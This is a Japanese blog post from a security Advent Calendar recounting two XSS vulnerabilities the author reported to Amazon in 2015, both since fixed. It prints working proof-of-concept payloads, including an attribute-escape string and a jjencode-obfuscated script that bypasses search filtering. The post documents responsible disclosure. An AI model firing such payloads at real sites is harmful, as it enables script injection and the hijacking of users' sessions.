本記事は脆弱性"&'<<>\ Advent Calendar 2015の15日目の記事です。
11/18にAmazonがリリースしたAmazon Musicというサービスに関連するXSSを2つ発見・報告したのでそのお話です。
1. Amazon MusicにあったXSS
このページから

"><_><script>alert(document.domain)</script>
と検索すると

alertが出ました。
画面右側のペイン内にて、aタグのhref attribute内に検索クエリを出力している箇所にあるバグに起因しています。この文字列は本来何らかの処理を通じてエスケープされていたのですが、適当に<hoge>
のような文字列を一つ挟むとaタグのhref attributeから漏れて出力されていました。

11/19に発見・報告し、11/26に修正されました。
何故かAmazonのセキュリティ担当の手元では中々再現せず(localeやCDNの問題かもしれない)、「再現しないで」「あるで つスクショ」や「直したで」「直ってないで つスクショ」のようなやり取りを4、5回ほど繰り返しました。
2. Amazon.co.jp本体、「デジタルミュージック」カテゴリでの検索にあったXSS
上記XSSを発見・報告して一息つき、何の気なしにトップページから<script>alert(1)</script>
と検索したところ

alertが出ました。
まさか一切の工夫も無く、scriptタグで検索するだけでalertが出るとは……。ところが、検索クエリを<script>alert(document.domain)</script>
に変えると今度はalertが出ませんでした。どうやら検索により商品がヒットしたか否かで「"hoge"の検索結果」と出力したりしなかったりするようです。

つまり、alertを出すためには検索クエリがvalidなJavaScriptでありつつ、同時にAmazon.co.jp内の商品がヒットするようなクエリである必要があるようです。<script>alert(1)</script>
では**"High Alert Status"というレーベルの"Degree of the Streets Vol 1 [Explicit]"というアルバムの"Script Ta Unscripted" という楽曲が奇跡的に存在した**おかげでうまくいきました。
さて、<script>alert(1)</script>
という検索クエリではscript
, alert
, 1
という3つのトークンにより検索が行われた事が検索結果から想像されます。記号の部分は検索の上では無視されているようです。
複雑なJavaScriptでは商品がヒットしない。記号は無視される。それでは、記号のみを用いてJavaScriptを記述すれば良いのではないか?というわけで、jjencodeを使用しました。
以下の記号のみからなる文字列はvalidなJavaScriptであり、alert(document.domain)
と等価です。これを検索ボックスに撃ち込みます。
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$_$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+")"+"\"")())();

jjencodeを用いた、<script>alert(document.domain)</script>
と等価なクエリによりalert(document.domain)
を出すことができました。これ以上の調査はしていませんが、恐らく長さの制限の範囲内で任意のJavaScriptの実行が可能だったと思います。

「<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$_$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+")"+"\"")())();</script>
のお求めはAmazon CDストア」とのことです。
11/19に発見・報告し、11/23に修正されました。
正直alert(1)
が出せた時点で報告しても良かったと思いますが、jjencodeのくだりはCTFのようで楽しかったです。
結論・所感
Amazonにもバグバウンティ制度があればと思いました。